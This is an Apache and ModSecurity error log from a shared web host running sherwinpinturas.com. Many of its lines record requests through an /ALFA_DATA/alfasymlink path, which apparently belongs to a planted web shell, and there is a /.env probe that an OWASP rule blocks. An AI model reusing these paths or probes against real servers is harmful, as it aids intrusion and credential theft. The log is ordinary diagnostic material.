[Mon Oct 26 10:44:38.522839 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 54.159.98.248:18100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:44:46.581731 2026] [core:error] [pid 3048990:tid 3048990] (13)Permission denied: [client 52.4.229.9:16078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/firmware_node/subsystem/drivers/ac/bind
[Mon Oct 26 10:44:50.564618 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 184.73.167.217:47999] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:44:58.595199 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 23.23.137.202:24677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:02.695623 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 44.216.172.204:16495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:06.493997 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 44.223.232.55:31967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:10.487155 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 3.94.199.128:57672] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:10.487439 2026] [security2:error] [pid 3048588:tid 3048588] [client 3.94.199.128:57672] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/physical_node/node0/memory2/power/runtime_active_time"] [unique_id "at9nduBV0X2-qlYz97NxnwAAAAY"]
[Mon Oct 26 10:45:10.487486 2026] [security2:error] [pid 3048588:tid 3048588] [client 3.94.199.128:57672] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/physical_node/node0/memory2/power/runtime_active_time"] [unique_id "at9nduBV0X2-qlYz97NxnwAAAAY"]
[Mon Oct 26 10:45:14.742096 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 34.205.170.13:18088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:22.969164 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 18.207.79.144:62579] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:22.969359 2026] [security2:error] [pid 3041799:tid 3041799] [client 18.207.79.144:62579] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1d/power/runtime_active_time"] [unique_id "at9ngrJEa6xP7LBmBmOppgAAAAI"]
[Mon Oct 26 10:45:22.969381 2026] [security2:error] [pid 3041799:tid 3041799] [client 18.207.79.144:62579] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1d/power/runtime_active_time"] [unique_id "at9ngrJEa6xP7LBmBmOppgAAAAI"]
[Mon Oct 26 10:45:34.917395 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 54.163.169.168:60940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:38.863850 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 23.21.227.240:62660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:43.076561 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 54.157.84.74:45606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:46.633785 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 35.173.18.61:51662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:45:54.614089 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 34.225.87.80:46177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:02.768959 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 52.44.148.203:16081] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:06.686103 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 52.204.81.148:4616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:14.678411 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 54.147.80.137:6173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:18.734792 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 54.83.56.1:23187] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/subsystem/input3/event3/device/subsystem/input1/device/drvctl
[Mon Oct 26 10:46:22.637297 2026] [core:error] [pid 3048989:tid 3048989] (13)Permission denied: [client 52.54.157.23:50088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:07/subsystem/drivers/hardware_error_device/uevent
[Mon Oct 26 10:46:26.648838 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 18.207.79.144:12299] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:30.553117 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9nup204gkO_cfUSwemrQAAAA0"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:46:30.553176 2026] [security2:error] [pid 3040035:tid 3040035] [client 107.172.76.131:54561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9nup204gkO_cfUSwemrQAAAA0"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:46:30.941286 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 23.23.213.182:48323] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:34.781600 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.195.50.71:28329] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:38.679949 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 54.84.161.62:51525] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:42.701588 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 18.232.12.157:34618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:46:54.946665 2026] [core:error] [pid 3048426:tid 3048426] (13)Permission denied: [client 98.82.214.73:27824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/remove
[Mon Oct 26 10:46:59.510206 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 98.83.226.125:15300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:00.224222 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 185.191.171.15:15986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/crct10dif_pclmul/sections/__mcount_loc
[Mon Oct 26 10:47:04.658127 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 85.208.96.198:62706] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:06.772357 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 3.221.156.96:41493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:15.294580 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 3.213.85.234:65002] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:18.881256 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 3.221.244.28:29253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:22.904226 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 18.215.24.66:64449] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:39.194774 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 44.220.2.97:49013] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:43.002243 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.156.55.147:43504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:46.058117 2026] [core:error] [pid 3039887:tid 3039887] (13)Permission denied: [client 85.208.96.210:24482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/usersize
[Mon Oct 26 10:47:46.990522 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 52.2.4.213:36662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:47:54.881136 2026] [core:error] [pid 3044281:tid 3044281] (13)Permission denied: [client 54.163.136.244:54728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/slots/21/module/uevent
[Mon Oct 26 10:47:58.952059 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 52.203.65.83:64072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/unbind
[Mon Oct 26 10:48:10.986941 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 50.16.248.61:63763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:48:23.560542 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 52.2.83.227:36204] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:48:27.169933 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 52.45.15.233:41180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:48:43.073799 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 3.213.46.222:60152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:48:47.275909 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 34.236.41.241:53168] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:48:51.164648 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 18.215.77.19:57056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:48:53.574518 2026] [core:crit] [pid 3048588:tid 3048588] (13)Permission denied: [client 95.214.53.196:58426] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:48:53.768224 2026] [core:crit] [pid 3041799:tid 3041799] (13)Permission denied: [client 95.214.53.196:49064] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:48:59.158694 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 23.21.204.95:23722] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:07.293291 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 52.200.58.199:43069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:19.712500 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 107.20.25.33:42478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:23.291240 2026] [ssl:error] [pid 3045151:tid 3045151] (22)Invalid argument: [client 34.224.132.215:12109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:27.329714 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 52.203.65.83:32424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:31.597406 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 3.212.86.97:65464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:35.369130 2026] [ssl:error] [pid 3048426:tid 3048426] (5)Input/output error: [client 34.227.156.153:48619] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:43.420189 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 44.194.139.149:56773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:47.478148 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 18.215.24.66:42156] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:49:55.516394 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 18.213.240.226:8655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:50:07.486377 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 35.174.141.243:42966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:50:27.627032 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.221.227.90:53059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:50:35.620009 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 34.205.170.13:27535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/exar_serial/bind
[Mon Oct 26 10:50:36.883677 2026] [core:error] [pid 3039887:tid 3039887] (13)Permission denied: [client 85.208.96.194:16360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/ctor
[Mon Oct 26 10:50:48.022979 2026] [ssl:error] [pid 3048426:tid 3048426] (70014)End of file found: [client 44.207.207.36:19994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:50:56.036137 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 34.195.60.66:34510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ohci-pci/unbind
[Mon Oct 26 10:51:03.865493 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 50.19.79.213:51087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:51:07.864112 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 98.83.8.142:6318] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:51:12.182690 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 52.21.62.139:16344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/platform/drivers/ucsi_acpi/bind
[Mon Oct 26 10:51:15.756852 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 184.73.239.35:39339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/PNP0A03:00/device:0b/eject
[Mon Oct 26 10:51:19.833485 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 34.206.249.188:42414] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:51:30.200179 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 44.216.172.204:45957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:51:31.802882 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.217.255.167:37410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:51:35.757972 2026] [core:error] [pid 3048426:tid 3048426] (13)Permission denied: [client 34.205.163.103:45133] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/vmd/bind
[Mon Oct 26 10:51:39.800072 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 52.70.209.13:40203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:51:47.927870 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 34.202.88.37:37835] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:52:01.515887 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 44.214.19.8:48903] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/pvpanic/uevent
[Mon Oct 26 10:52:04.204868 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 54.156.248.117:16851] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ohci-pci/new_id
[Mon Oct 26 10:52:08.061446 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 34.234.200.207:63262] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:52:15.869657 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 3.231.193.38:59779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:52:19.820348 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 3.210.29.96:3021] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:52:31.795900 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 18.215.77.19:42618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:52:35.966034 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 54.83.240.58:57296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:52:39.954518 2026] [ssl:error] [pid 3044303:tid 3044303] (5)Input/output error: [client 52.200.93.170:35916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:52:52.026205 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 23.23.180.225:39382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:52:59.824287 2026] [core:error] [pid 3048990:tid 3048990] (13)Permission denied: [client 44.223.115.10:41855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/slabs
[Mon Oct 26 10:53:14.438141 2026] [security2:error] [pid 3048588:tid 3048588] [client 52.167.144.175:65091] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/undici-types/interceptors.d.ts"] [unique_id "at9pWuBV0X2-qlYz97NxuAAAAAY"]
[Mon Oct 26 10:53:14.438193 2026] [security2:error] [pid 3048588:tid 3048588] [client 52.167.144.175:65091] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/undici-types/interceptors.d.ts"] [unique_id "at9pWuBV0X2-qlYz97NxuAAAAAY"]
[Mon Oct 26 10:53:15.896721 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 44.217.177.142:21719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:53:19.766518 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 35.173.18.61:47471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:53:23.794963 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 18.207.79.144:24203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:53:27.694106 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 34.205.170.13:54728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:53:30.459614 2026] [core:error] [pid 3040035:tid 3040035] (13)Permission denied: [client 85.208.96.207:48072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/cache_dma
[Mon Oct 26 10:53:38.832335 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 185.191.171.6:37644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:53:39.753350 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 52.71.203.206:16036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:53:45.166683 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 85.208.96.195:12568] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:53:48.388516 2026] [security2:error] [pid 3048990:tid 3048990] [client 130.12.180.167:17468] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9pfKx03eeNDz_E2KbcNQAAAAo"]
[Mon Oct 26 10:53:48.388800 2026] [security2:error] [pid 3048990:tid 3048990] [client 130.12.180.167:17468] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9pfKx03eeNDz_E2KbcNQAAAAo"]
[Mon Oct 26 10:53:48.389125 2026] [security2:error] [pid 3048990:tid 3048990] [client 130.12.180.167:17468] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9pfKx03eeNDz_E2KbcNQAAAAo"]
[Mon Oct 26 10:53:51.748437 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 3.232.102.111:7872] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:54:00.192129 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 18.214.251.19:29838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:54:12.225453 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 85.208.96.209:48788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/shrink
[Mon Oct 26 10:54:14.575368 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54644] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9pijs8VJ7QW5firx_mZAAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:54:14.575411 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54644] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9pijs8VJ7QW5firx_mZAAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:54:19.969119 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 50.19.79.213:45922] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:54:27.974286 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 100.29.164.178:28881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:54:35.791407 2026] [security2:error] [pid 3044312:tid 3044312] [client 52.44.229.124:47875] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/msi_irqs/"] [unique_id "at9pq9T_ySsYV2zOlWu_fQAAAEo"]
[Mon Oct 26 10:54:35.791453 2026] [security2:error] [pid 3044312:tid 3044312] [client 52.44.229.124:47875] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/msi_irqs/"] [unique_id "at9pq9T_ySsYV2zOlWu_fQAAAEo"]
[Mon Oct 26 10:54:37.386712 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 85.208.96.201:60370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/reclaim_account
[Mon Oct 26 10:54:37.783522 2026] [security2:error] [pid 3044303:tid 3044303] [client 107.172.76.131:54707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9pobRNJnL4L9TV9UoYgQAAAEE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:54:37.783573 2026] [security2:error] [pid 3044303:tid 3044303] [client 107.172.76.131:54707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9pobRNJnL4L9TV9UoYgQAAAEE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:54:39.907971 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 50.17.193.48:6397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:54:44.000259 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.159.98.248:30442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:54:47.687057 2026] [ssl:error] [pid 3048989:tid 3048989] (5)Input/output error: [client 52.22.87.224:10873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:54:56.000256 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 34.205.163.103:7089] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:54:59.644214 2026] [core:error] [pid 3039887:tid 3039887] (13)Permission denied: [client 85.208.96.209:31038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/cdrom/sections/__ksymtab_strings
